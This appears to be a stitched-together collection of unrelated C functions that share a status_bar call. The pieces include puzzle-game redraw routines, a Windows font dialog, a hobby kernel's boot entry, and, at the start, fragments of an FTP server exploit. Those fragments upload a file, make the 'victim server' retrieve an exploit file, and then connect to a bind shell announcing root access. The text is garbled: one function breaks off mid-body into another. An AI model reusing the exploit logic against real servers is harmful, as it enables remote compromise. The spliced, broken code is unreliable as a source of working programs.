int set_path_and_filename()
{
status_bar("Setting filename");
if(strcmp(uploadPath,"")) {
my_send(controlSock, "CWD %s\r\n",uploadPath);
my_recv(controlSock);
}
snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
return SUCCESS;
}
void main(void)
{
PASSWORD(); //Identication ROUTING
Dsta(); //Splesh Screen
SCAN(); //Animation ROUTING for LOADING
clrscr(); //Clear the screen
Window(1,1,80,25,LIGHTGRAY); //CREATE LIGHT GRAY screen
status_bar(); //CREAT Status Bar
Window(1,1,80,23,1); //CREAT Foure Ground Window
MAINMENU(1); //CALLING Mainmenu_ROUTING
}
static void on_font_click (void)
{
CHOOSEFONT fnt;
memset (&fnt, 0, sizeof(fnt));
fnt.lStructSize = sizeof (fnt);
fnt.hwndOwner = hMainWindow;
//fnt.hDC = ;
fnt.lpLogFont = &clfnt;
fnt.iPointSize = abs(OptFontHeight) * 10;
fnt.Flags = CF_SCREENFONTS | CF_LIMITSIZE | CF_INITTOLOGFONTSTRUCT | CF_FIXEDPITCHONLY | CF_FORCEFONTEXIST;
//COLORREF rgbColors;
//LPARAM lCustData;
//LPCFHOOKPROC lpfnHook;
//LPCTSTR lpTemplateName;
//HINSTANCE hInstance;
//LPTSTR lpszStyle;
//WORD nFontType;
fnt.nSizeMin = 4;
fnt.nSizeMax = 20;
//clfnt.lfHeight = OptFontHeight - 1;
status_bar (0, "%d", clfnt.lfHeight);
status_bar (1, "%d", OptFontHeight);
if (ChooseFont (&fnt)) {
OptFontHeight = fnt.iPointSize/10; //clfnt.lfHeight;
status_bar (1, "%d", OptFontHeight);
strncpy (OptFontFace, clfnt.lfFaceName, LF_FACESIZE);
config_save ();
clfnt.lfHeight = -MulDiv(OptFontHeight, GetDeviceCaps(GetDC(hMainWindow), LOGPIXELSY), 72);
status_bar (0, "%d", clfnt.lfHeight);
ListView_DeleteAllItems (hResult);
SendMessage(hResult, WM_SETFONT, (WPARAM) h_font_code, TRUE);
SendMessage(hRTF , WM_SETFONT, (WPARAM) h_font_code, TRUE);
UpdateWindow (hResult);
UpdateWindow (hRTF);
}
}
int download_file(int mode)
{
int len, localServerSock, dataSock, bindShellSock;
struct sockaddr_in localServer;
status_bar("Downloading");
// Ask the victim server to send us the exploit file
my_send(controlSock, "RETR %s\r\n", filename);
// Create a listening server on our passive port to
// receive the data
memset(&localServer,0,sizeof(localServer));
localServerSock=create_passive_server();
len=sizeof(localServer);
// Wait for a few seconds for the victim server to contact us...
if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
close(localServerSock);
return FAILURE;
}
// If the mode is EXPLOIT_DOWNLOAD, then this is the
// second attempt at downloading... that means we might
// have a shell waiting for us on the victim server, so
// we try to connect to it
if(mode==EXPLOIT_DOWNLOAD) {
if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
printf("\nConnected! You are r00t...\n");
do_remote_shell(bindShellSock);
printf("\nDid you have a nice time?\n");
exit(0);
}
close(dataSock);
close(localServerSock);
return SUCCESS;
}
// If the mode is NORMAL_DOWNLOAD, then just clean up the
// connection by receiving the file from the server; closing
// the data and local server sockets, then read the confirmation
// message from the control socket
my_recv(dataSock);
close(dataSock);
close(localServerSock);
my_recv(controlSock);
return check_status();
}
int set_passive_mode(int mode)
{
int portMSB, portLSB;
int x1,x2,x3,x4;
char *ptr=localIP, *start;
status_bar("Setting passive");
if(mode==DOWNLOAD) {
if((++currentPassivePort) > 35000)
currentPassivePort=32789;
while(*(++ptr))
if(*ptr=='.')
*ptr=',';
portMSB=(currentPassivePort >> 8 ) & 0xff;
portLSB=currentPassivePort & 0xff;
my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
my_recv(controlSock);
return check_status();
} else {
static void on_search_click (void)
{
char buf[256];
//msgbox ("Seaching...");
Edit_GetText (GetDlgItem(hMainWindow, IDC_TXT), buf, sizeof(buf));
ListView_DeleteAllItems (hResult);
text_set ("");
Edit_SetText (GetDlgItem(hMainWindow, IDC_LFIND), "");
Button_Enable (GetDlgItem (hMainWindow, IDC_SAVELF), 0);
Button_Enable (GetDlgItem (hMainWindow, IDC_SAVECRLF), 0);
recent_current_reset ();
get_options ();
if (strlen(buf) > 0) {
recent_add (buf);
recent_fill_combo (IDC_RECENT);
search_in_path (buf, CurrentPath, FileMask);
}
else {
status_bar (1, "Empty search string!");
}
}
static void game_redraw(drawing *dr, game_drawstate *ds,
const game_state *oldstate, const game_state *state,
int dir, const game_ui *ui,
float animtime, float flashtime)
{
int i, j;
struct bbox bb = find_bbox(&state->params);
struct solid *poly;
const int *pkey, *gkey;
float t[3];
float angle;
int square;
draw_rect(dr, 0, 0, XSIZE(GRID_SCALE, bb, state->solid),
YSIZE(GRID_SCALE, bb, state->solid), COL_BACKGROUND);
if (dir < 0) {
const game_state *t;
/*
* This is an Undo. So reverse the order of the states, and
* run the roll timer backwards.
*/
assert(oldstate);
t = oldstate;
oldstate = state;
state = t;
animtime = ROLLTIME - animtime;
}
if (!oldstate) {
oldstate = state;
angle = 0.0;
square = state->current;
pkey = state->dpkey;
gkey = state->dgkey;
} else {
angle = state->angle * animtime / ROLLTIME;
square = state->previous;
pkey = state->spkey;
gkey = state->sgkey;
}
state = oldstate;
for (i = 0; i < state->grid->nsquares; i++) {
int coords[8];
for (j = 0; j < state->grid->squares[i].npoints; j++) {
coords[2*j] = ((int)(state->grid->squares[i].points[2*j] * GRID_SCALE)
+ ds->ox);
coords[2*j+1] = ((int)(state->grid->squares[i].points[2*j+1]*GRID_SCALE)
+ ds->oy);
}
draw_polygon(dr, coords, state->grid->squares[i].npoints,
GET_SQUARE(state, i) ? COL_BLUE : COL_BACKGROUND,
COL_BORDER);
}
/*
* Now compute and draw the polyhedron.
*/
poly = transform_poly(state->solid, state->grid->squares[square].flip,
pkey[0], pkey[1], angle);
/*
* Compute the translation required to align the two key points
* on the polyhedron with the same key points on the current
* face.
*/
for (i = 0; i < 3; i++) {
float tc = 0.0;
for (j = 0; j < 2; j++) {
float grid_coord;
if (i < 2) {
grid_coord =
state->grid->squares[square].points[gkey[j]*2+i];
} else {
grid_coord = 0.0;
}
tc += (grid_coord - poly->vertices[pkey[j]*3+i]);
}
t[i] = tc / 2;
}
for (i = 0; i < poly->nvertices; i++)
for (j = 0; j < 3; j++)
poly->vertices[i*3+j] += t[j];
/*
* Now actually draw each face.
*/
for (i = 0; i < poly->nfaces; i++) {
float points[8];
int coords[8];
for (j = 0; j < poly->order; j++) {
int f = poly->faces[i*poly->order + j];
points[j*2] = (poly->vertices[f*3+0] -
poly->vertices[f*3+2] * poly->shear);
points[j*2+1] = (poly->vertices[f*3+1] -
poly->vertices[f*3+2] * poly->shear);
}
for (j = 0; j < poly->order; j++) {
coords[j*2] = (int)floor(points[j*2] * GRID_SCALE) + ds->ox;
coords[j*2+1] = (int)floor(points[j*2+1] * GRID_SCALE) + ds->oy;
}
/*
* Find out whether these points are in a clockwise or
* anticlockwise arrangement. If the latter, discard the
* face because it's facing away from the viewer.
*
* This would involve fiddly winding-number stuff for a
* general polygon, but for the simple parallelograms we'll
* be seeing here, all we have to do is check whether the
* corners turn right or left. So we'll take the vector
* from point 0 to point 1, turn it right 90 degrees,
* and check the sign of the dot product with that and the
* next vector (point 1 to point 2).
*/
{
float v1x = points[2]-points[0];
float v1y = points[3]-points[1];
float v2x = points[4]-points[2];
float v2y = points[5]-points[3];
float dp = v1x * v2y - v1y * v2x;
if (dp <= 0)
continue;
}
draw_polygon(dr, coords, poly->order,
state->facecolours[i] ? COL_BLUE : COL_BACKGROUND,
COL_BORDER);
}
sfree(poly);
draw_update(dr, 0, 0, XSIZE(GRID_SCALE, bb, state->solid),
YSIZE(GRID_SCALE, bb, state->solid));
/*
* Update the status bar.
*/
{
char statusbuf[256];
if (state->completed) {
strcpy(statusbuf, _("COMPLETED!"));
strcpy(statusbuf+strlen(statusbuf), " ");
} else statusbuf[0] = '\0';
sprintf(statusbuf+strlen(statusbuf), _("Moves: %d"),
(state->completed ? state->completed : state->movecount));
status_bar(dr, statusbuf);
}
}
/* Check if MAGIC is valid and print the Multiboot information structure
pointed by ADDR. */
void
entry (unsigned long magic, unsigned long addr)
{
multiboot_info_t *mbi;
uint8_t* filesystem_address;
/* Clear the screen. */
clear();
/* Am I booted by a Multiboot-compliant boot loader? */
if (magic != MULTIBOOT_BOOTLOADER_MAGIC)
{
printf ("Invalid magic number: 0x%#x\n", (unsigned) magic);
return;
}
/* Set MBI to the address of the Multiboot information structure. */
mbi = (multiboot_info_t *) addr;
/* Print out the flags. */
printf ("flags = 0x%#x\n", (unsigned) mbi->flags);
/* Are mem_* valid? */
if (CHECK_FLAG (mbi->flags, 0))
printf ("mem_lower = %uKB, mem_upper = %uKB\n",
(unsigned) mbi->mem_lower, (unsigned) mbi->mem_upper);
/* Is boot_device valid? */
if (CHECK_FLAG (mbi->flags, 1))
printf ("boot_device = 0x%#x\n", (unsigned) mbi->boot_device);
/* Is the command line passed? */
if (CHECK_FLAG (mbi->flags, 2))
printf ("cmdline = %s\n", (char *) mbi->cmdline);
if (CHECK_FLAG (mbi->flags, 3)) {
int mod_count = 0;
int i;
module_t* mod = (module_t*)mbi->mods_addr;
while(mod_count < mbi->mods_count) {
filesystem_address = (uint8_t*)mod->mod_start;
printf("Module %d loaded at address: 0x%#x\n", mod_count, (unsigned int)mod->mod_start);
printf("Module %d ends at address: 0x%#x\n", mod_count, (unsigned int)mod->mod_end);
printf("First few bytes of module:\n");
for(i = 0; i<16; i++) {
printf("0x%x ", *((char*)(mod->mod_start+i)));
}
printf("\n");
mod_count++;
mod++;
}
}
/* Bits 4 and 5 are mutually exclusive! */
if (CHECK_FLAG (mbi->flags, 4) && CHECK_FLAG (mbi->flags, 5))
{
printf ("Both bits 4 and 5 are set.\n");
return;
}
/* Is the section header table of ELF valid? */
if (CHECK_FLAG (mbi->flags, 5))
{
elf_section_header_table_t *elf_sec = &(mbi->elf_sec);
printf ("elf_sec: num = %u, size = 0x%#x,"
" addr = 0x%#x, shndx = 0x%#x\n",
(unsigned) elf_sec->num, (unsigned) elf_sec->size,
(unsigned) elf_sec->addr, (unsigned) elf_sec->shndx);
}
/* Are mmap_* valid? */
if (CHECK_FLAG (mbi->flags, 6))
{
memory_map_t *mmap;
printf ("mmap_addr = 0x%#x, mmap_length = 0x%x\n",
(unsigned) mbi->mmap_addr, (unsigned) mbi->mmap_length);
for (mmap = (memory_map_t *) mbi->mmap_addr;
(unsigned long) mmap < mbi->mmap_addr + mbi->mmap_length;
mmap = (memory_map_t *) ((unsigned long) mmap
+ mmap->size + sizeof (mmap->size)))
printf (" size = 0x%x, base_addr = 0x%#x%#x\n"
" type = 0x%x, length = 0x%#x%#x\n",
(unsigned) mmap->size,
(unsigned) mmap->base_addr_high,
(unsigned) mmap->base_addr_low,
(unsigned) mmap->type,
(unsigned) mmap->length_high,
(unsigned) mmap->length_low);
}
/* Construct an LDT entry in the GDT */
{
seg_desc_t the_ldt_desc;
the_ldt_desc.granularity = 0;
the_ldt_desc.opsize = 1;
the_ldt_desc.reserved = 0;
the_ldt_desc.avail = 0;
the_ldt_desc.present = 1;
the_ldt_desc.dpl = 0x0;
the_ldt_desc.sys = 0;
the_ldt_desc.type = 0x2;
SET_LDT_PARAMS(the_ldt_desc, &ldt, ldt_size);
ldt_desc_ptr = the_ldt_desc;
lldt(KERNEL_LDT);
}
/* Construct a TSS entry in the GDT */
{
seg_desc_t the_tss_desc;
the_tss_desc.granularity = 0;
the_tss_desc.opsize = 0;
the_tss_desc.reserved = 0;
the_tss_desc.avail = 0;
the_tss_desc.seg_lim_19_16 = TSS_SIZE & 0x000F0000;
the_tss_desc.present = 1;
the_tss_desc.dpl = 0x0;
the_tss_desc.sys = 0;
the_tss_desc.type = 0x9;
the_tss_desc.seg_lim_15_00 = TSS_SIZE & 0x0000FFFF;
SET_TSS_PARAMS(the_tss_desc, &tss, tss_size);
tss_desc_ptr = the_tss_desc;
tss.ldt_segment_selector = KERNEL_LDT;
tss.ss0 = KERNEL_DS;
tss.esp0 = 0x800000;
ltr(KERNEL_TSS);
}
int z = 0;
reset_scr();
//set the IDT
set_idt();
lidt(idt_desc_ptr);
/* Init the PIC */
i8259_init();
/* Initialize devices, memory, filesystem, enable device interrupts on the
* PIC, any other initialization stuff... */
//init paging
init_paging();
//init filesystem
init_filesys(filesystem_address);
//init keyboard
init_keyboard();
//init the rtc
init_rtc();
//init the mouse
init_mouse();
//clear the screen
reset_scr();
// boot_screen();
for(z = 0; z < 3; z++)
{
terminal_init();
}
node* buffer = screens[0];
reset_buf(buffer);
//display the status bar
/* Enable interrupts */
sti();
/* Do not enable the following until after you have set up your
* IDT correctly otherwise QEMU will triple fault and simple close
* without showing you any output */
boot_screen();
//sample mario sound
for(z = 0; z < 500000; z++)
play_sound(1000);
for(z = 0; z < 500000; z++)
play_sound(100);
for(z = 0; z < 500000; z++)
play_sound(900);
for(z = 0; z < 50000; z++)
play_sound(200);
for(z = 0; z < 500000; z++)
play_sound(800);
for(z = 0; z < 500000; z++)
play_sound(300);
for(z = 0; z < 500000; z++)
play_sound(700);
for(z = 0; z < 500000; z++)
play_sound(400);
for(z = 0; z < 500000; z++)
play_sound(600);
for(z = 0; z < 500000; z++)
play_sound(500);
for(z = 0; z < 500000; z++)
play_sound(500);
for(z = 0; z < 500000; z++)
play_sound(1000);
for(z = 0; z < 500000; z++)
play_sound(400);
for(z = 0; z < 500000; z++)
play_sound(300);
for(z = 0; z < 500000; z++)
play_sound(300);
for(z = 0; z < 500000; z++)
play_sound(200);
//boot_screen();
nosound();
reset_scr();
//init PIT for sound, timer
init_pit(0, 100);
/////////////////////////////////////////////////////////////
// void imperial();
status_bar();
/* Execute the first program (`shell') ... */
uint8_t fname[33] = "shell";
execute(fname);
/* We should never get to this point */
//printf("Initial shell halted.");
/* Spin (nicely, so we don't chew up cycles) */
asm volatile(".1: hlt; jmp .1;");
}
static void game_redraw(drawing *dr, game_drawstate *ds, game_state *oldstate,
game_state *state, int dir, game_ui *ui,
float animtime, float flashtime)
{
int i, pass, bgcolour;
if (flashtime > 0) {
int frame = (int)(flashtime / FLASH_FRAME);
bgcolour = (frame % 2 ? COL_LOWLIGHT : COL_HIGHLIGHT);
} else
bgcolour = COL_BACKGROUND;
if (!ds->started) {
int coords[10];
draw_rect(dr, 0, 0,
TILE_SIZE * state->w + 2 * BORDER,
TILE_SIZE * state->h + 2 * BORDER, COL_BACKGROUND);
draw_update(dr, 0, 0,
TILE_SIZE * state->w + 2 * BORDER,
TILE_SIZE * state->h + 2 * BORDER);
/*
* Recessed area containing the whole puzzle.
*/
coords[0] = COORD(state->w) + HIGHLIGHT_WIDTH - 1;
coords[1] = COORD(state->h) + HIGHLIGHT_WIDTH - 1;
coords[2] = COORD(state->w) + HIGHLIGHT_WIDTH - 1;
coords[3] = COORD(0) - HIGHLIGHT_WIDTH;
coords[4] = coords[2] - TILE_SIZE;
coords[5] = coords[3] + TILE_SIZE;
coords[8] = COORD(0) - HIGHLIGHT_WIDTH;
coords[9] = COORD(state->h) + HIGHLIGHT_WIDTH - 1;
coords[6] = coords[8] + TILE_SIZE;
coords[7] = coords[9] - TILE_SIZE;
draw_polygon(dr, coords, 5, COL_HIGHLIGHT, COL_HIGHLIGHT);
coords[1] = COORD(0) - HIGHLIGHT_WIDTH;
coords[0] = COORD(0) - HIGHLIGHT_WIDTH;
draw_polygon(dr, coords, 5, COL_LOWLIGHT, COL_LOWLIGHT);
ds->started = TRUE;
}
/*
* Now draw each tile. We do this in two passes to make
* animation easy.
*/
for (pass = 0; pass < 2; pass++) {
for (i = 0; i < state->n; i++) {
int t, t0;
/*
* Figure out what should be displayed at this
* location. It's either a simple tile, or it's a
* transition between two tiles (in which case we say
* -1 because it must always be drawn).
*/
if (oldstate && oldstate->tiles[i] != state->tiles[i])
t = -1;
else
t = state->tiles[i];
t0 = t;
if (ds->bgcolour != bgcolour || /* always redraw when flashing */
ds->tiles[i] != t || ds->tiles[i] == -1 || t == -1) {
int x, y;
/*
* Figure out what to _actually_ draw, and where to
* draw it.
*/
if (t == -1) {
int x0, y0, x1, y1;
int j;
/*
* On the first pass, just blank the tile.
*/
if (pass == 0) {
x = COORD(X(state, i));
y = COORD(Y(state, i));
t = 0;
} else {
float c;
t = state->tiles[i];
/*
* Don't bother moving the gap; just don't
* draw it.
*/
if (t == 0)
continue;
/*
* Find the coordinates of this tile in the old and
* new states.
*/
x1 = COORD(X(state, i));
y1 = COORD(Y(state, i));
for (j = 0; j < oldstate->n; j++)
if (oldstate->tiles[j] == state->tiles[i])
break;
assert(j < oldstate->n);
x0 = COORD(X(state, j));
y0 = COORD(Y(state, j));
c = (animtime / ANIM_TIME);
if (c < 0.0F) c = 0.0F;
if (c > 1.0F) c = 1.0F;
x = x0 + (int)(c * (x1 - x0));
y = y0 + (int)(c * (y1 - y0));
}
} else {
if (pass == 0)
continue;
x = COORD(X(state, i));
y = COORD(Y(state, i));
}
draw_tile(dr, ds, state, x, y, t, bgcolour);
}
ds->tiles[i] = t0;
}
}
ds->bgcolour = bgcolour;
/*
* Update the status bar.
*/
{
char statusbuf[256];
/*
* Don't show the new status until we're also showing the
* new _state_ - after the game animation is complete.
*/
if (oldstate)
state = oldstate;
if (state->used_solve)
sprintf(statusbuf, "Moves since auto-solve: %d",
state->movecount - state->completed);
else
sprintf(statusbuf, "%sMoves: %d",
(state->completed ? "COMPLETED! " : ""),
(state->completed ? state->completed : state->movecount));
status_bar(dr, statusbuf);
}
}
static void game_redraw(drawing *dr, game_drawstate *ds, game_state *oldstate,
game_state *state, int dir, game_ui *ui,
float animtime, float flashtime)
{
int i, bgcolour;
struct rotation srot, *rot;
int lastx = -1, lasty = -1, lastr = -1;
int cx, cy, cmoved = 0, n = state->n;
cx = ui->cur_visible ? ui->cur_x : -state->n;
cy = ui->cur_visible ? ui->cur_y : -state->n;
if (cx != ds->cur_x || cy != ds->cur_y)
cmoved = 1;
if (flashtime > 0) {
int frame = (int)(flashtime / FLASH_FRAME);
bgcolour = (frame % 2 ? COL_LOWLIGHT : COL_HIGHLIGHT);
} else
bgcolour = COL_BACKGROUND;
if (!ds->started) {
int coords[10];
draw_rect(dr, 0, 0,
TILE_SIZE * state->w + 2 * BORDER,
TILE_SIZE * state->h + 2 * BORDER, COL_BACKGROUND);
draw_update(dr, 0, 0,
TILE_SIZE * state->w + 2 * BORDER,
TILE_SIZE * state->h + 2 * BORDER);
/*
* Recessed area containing the whole puzzle.
*/
coords[0] = COORD(state->w) + HIGHLIGHT_WIDTH - 1;
coords[1] = COORD(state->h) + HIGHLIGHT_WIDTH - 1;
coords[2] = COORD(state->w) + HIGHLIGHT_WIDTH - 1;
coords[3] = COORD(0) - HIGHLIGHT_WIDTH;
coords[4] = coords[2] - TILE_SIZE;
coords[5] = coords[3] + TILE_SIZE;
coords[8] = COORD(0) - HIGHLIGHT_WIDTH;
coords[9] = COORD(state->h) + HIGHLIGHT_WIDTH - 1;
coords[6] = coords[8] + TILE_SIZE;
coords[7] = coords[9] - TILE_SIZE;
draw_polygon(dr, coords, 5, COL_HIGHLIGHT, COL_HIGHLIGHT);
coords[1] = COORD(0) - HIGHLIGHT_WIDTH;
coords[0] = COORD(0) - HIGHLIGHT_WIDTH;
draw_polygon(dr, coords, 5, COL_LOWLIGHT, COL_LOWLIGHT);
ds->started = TRUE;
}
/*
* If we're drawing any rotated tiles, sort out the rotation
* parameters, and also zap the rotation region to the
* background colour before doing anything else.
*/
if (oldstate) {
float angle;
float anim_max = game_anim_length(oldstate, state, dir, ui);
if (dir > 0) {
lastx = state->lastx;
lasty = state->lasty;
lastr = state->lastr;
} else {
lastx = oldstate->lastx;
lasty = oldstate->lasty;
lastr = -oldstate->lastr;
}
rot = &srot;
rot->cx = COORD(lastx);
rot->cy = COORD(lasty);
rot->cw = rot->ch = TILE_SIZE * state->n;
rot->ox = rot->cx + rot->cw/2;
rot->oy = rot->cy + rot->ch/2;
angle = (float)((-PI/2 * lastr) * (1.0 - animtime / anim_max));
rot->c = (float)cos(angle);
rot->s = (float)sin(angle);
/*
* Sort out the colours of the various sides of the tile.
*/
rot->lc = highlight_colour((float)PI + angle);
rot->rc = highlight_colour(angle);
rot->tc = highlight_colour((float)(PI/2.0) + angle);
rot->bc = highlight_colour((float)(-PI/2.0) + angle);
draw_rect(dr, rot->cx, rot->cy, rot->cw, rot->ch, bgcolour);
} else
rot = NULL;
/*
* Now draw each tile.
*/
for (i = 0; i < state->w * state->h; i++) {
int t, cc = 0;
int tx = i % state->w, ty = i / state->w;
/*
* Figure out what should be displayed at this location.
* Usually it will be state->grid[i], unless we're in the
* middle of animating an actual rotation and this cell is
* within the rotation region, in which case we set -1
* (always display).
*/
if (oldstate && lastx >= 0 && lasty >= 0 &&
tx >= lastx && tx < lastx + state->n &&
ty >= lasty && ty < lasty + state->n)
t = -1;
else
t = state->grid[i];
if (cmoved) {
/* cursor has moved (or changed visibility)... */
if (tx == cx || tx == cx+n-1 || ty == cy || ty == cy+n-1)
cc = 1; /* ...we're on new cursor, redraw */
if (tx == ds->cur_x || tx == ds->cur_x+n-1 ||
ty == ds->cur_y || ty == ds->cur_y+n-1)
cc = 1; /* ...we were on old cursor, redraw */
}
if (ds->bgcolour != bgcolour || /* always redraw when flashing */
ds->grid[i] != t || ds->grid[i] == -1 || t == -1 || cc) {
int x = COORD(tx), y = COORD(ty);
unsigned cedges = 0;
if (tx == cx && ty >= cy && ty <= cy+n-1) cedges |= CUR_LEFT;
if (ty == cy && tx >= cx && tx <= cx+n-1) cedges |= CUR_TOP;
if (tx == cx+n-1 && ty >= cy && ty <= cy+n-1) cedges |= CUR_RIGHT;
if (ty == cy+n-1 && tx >= cx && tx <= cx+n-1) cedges |= CUR_BOTTOM;
draw_tile(dr, ds, state, x, y, state->grid[i], bgcolour, rot, cedges);
ds->grid[i] = t;
}
}
ds->bgcolour = bgcolour;
ds->cur_x = cx; ds->cur_y = cy;
/*
* Update the status bar.
*/
{
char statusbuf[256];
/*
* Don't show the new status until we're also showing the
* new _state_ - after the game animation is complete.
*/
if (oldstate)
state = oldstate;
if (state->used_solve)
sprintf(statusbuf, "Moves since auto-solve: %d",
state->movecount - state->completed);
else {
sprintf(statusbuf, "%sMoves: %d",
(state->completed ? "COMPLETED! " : ""),
(state->completed ? state->completed : state->movecount));
if (state->movetarget)
sprintf(statusbuf+strlen(statusbuf), " (target %d)",
state->movetarget);
}
status_bar(dr, statusbuf);
}
}
static void game_redraw(drawing *dr, game_drawstate *ds, game_state *oldstate,
game_state *state, int dir, game_ui *ui,
float animtime, float flashtime)
{
int i, x, y, ts = TILE_SIZE, isflash = 0, force = 0;
if (flashtime > 0) {
int frame = (int)(flashtime / FLASH_FRAME);
isflash = (frame % 2) == 0;
debug(("game_redraw: flashtime = %f", flashtime));
}
if (!ds->started) {
int x0 = TODRAW(0)-1, y0 = TODRAW(0)-1;
int x1 = TODRAW(state->w+2), y1 = TODRAW(state->h+2);
draw_rect(dr, 0, 0,
TILE_SIZE * (state->w+3), TILE_SIZE * (state->h+3),
COL_BACKGROUND);
/* clockwise around the outline starting at pt behind (1,1). */
draw_line(dr, x0+ts, y0+ts, x0+ts, y0, COL_HIGHLIGHT);
draw_line(dr, x0+ts, y0, x1-ts, y0, COL_HIGHLIGHT);
draw_line(dr, x1-ts, y0, x1-ts, y0+ts, COL_LOWLIGHT);
draw_line(dr, x1-ts, y0+ts, x1, y0+ts, COL_HIGHLIGHT);
draw_line(dr, x1, y0+ts, x1, y1-ts, COL_LOWLIGHT);
draw_line(dr, x1, y1-ts, x1-ts, y1-ts, COL_LOWLIGHT);
draw_line(dr, x1-ts, y1-ts, x1-ts, y1, COL_LOWLIGHT);
draw_line(dr, x1-ts, y1, x0+ts, y1, COL_LOWLIGHT);
draw_line(dr, x0+ts, y1, x0+ts, y1-ts, COL_HIGHLIGHT);
draw_line(dr, x0+ts, y1-ts, x0, y1-ts, COL_LOWLIGHT);
draw_line(dr, x0, y1-ts, x0, y0+ts, COL_HIGHLIGHT);
draw_line(dr, x0, y0+ts, x0+ts, y0+ts, COL_HIGHLIGHT);
/* phew... */
draw_update(dr, 0, 0,
TILE_SIZE * (state->w+3), TILE_SIZE * (state->h+3));
force = 1;
ds->started = 1;
}
if (isflash != ds->isflash) force = 1;
/* draw the arena */
for (x = 0; x < state->w; x++) {
for (y = 0; y < state->h; y++) {
draw_arena_tile(dr, state, ds, ui, x, y, force, isflash);
}
}
/* draw the lasers */
ds->flash_laserno = LASER_EMPTY;
if (ui->flash_laser == 1)
ds->flash_laserno = ui->flash_laserno;
else if (ui->flash_laser == 2 && animtime > 0)
ds->flash_laserno = ui->flash_laserno;
for (i = 0; i < 2*(state->w+state->h); i++) {
draw_laser_tile(dr, state, ds, ui, i, force);
}
/* draw the 'finish' button */
if (CAN_REVEAL(state)) {
int outline = (ui->cur_visible && ui->cur_x == 0 && ui->cur_y == 0)
? COL_CURSOR : COL_BALL;
clip(dr, TODRAW(0), TODRAW(0), TILE_SIZE-1, TILE_SIZE-1);
draw_circle(dr, TODRAW(0) + ds->crad, TODRAW(0) + ds->crad, ds->crad,
outline, outline);
draw_circle(dr, TODRAW(0) + ds->crad, TODRAW(0) + ds->crad, ds->crad-2,
COL_BUTTON, COL_BUTTON);
unclip(dr);
} else {
draw_rect(dr, TODRAW(0), TODRAW(0),
TILE_SIZE-1, TILE_SIZE-1, COL_BACKGROUND);
}
draw_update(dr, TODRAW(0), TODRAW(0), TILE_SIZE, TILE_SIZE);
ds->reveal = state->reveal;
ds->isflash = isflash;
{
char buf[256];
if (ds->reveal) {
if (state->nwrong == 0 &&
state->nmissed == 0 &&
state->nright >= state->minballs)
sprintf(buf, _("CORRECT!"));
else
sprintf(buf, _("%d wrong and %d missed balls."),
state->nwrong, state->nmissed);
} else if (state->justwrong) {
sprintf(buf, _("Wrong! Guess again."));
} else {
if (state->nguesses > state->maxballs)
sprintf(buf, _("%d too many balls marked."),
state->nguesses - state->maxballs);
else if (state->nguesses <= state->maxballs &&
state->nguesses >= state->minballs)
sprintf(buf, _("Click button to verify guesses."));
else if (state->maxballs == state->minballs)
sprintf(buf, _("Balls marked: %d / %d"),
state->nguesses, state->minballs);
else
sprintf(buf, _("Balls marked: %d / %d-%d."),
state->nguesses, state->minballs, state->maxballs);
}
if (ui->errors) {
if (ui->errors == 1) strcpy(buf + strlen(buf), _(" (1 error)"));
else sprintf(buf + strlen(buf), _(" (%d errors)"), ui->errors);
}
status_bar(dr, buf);
}
}
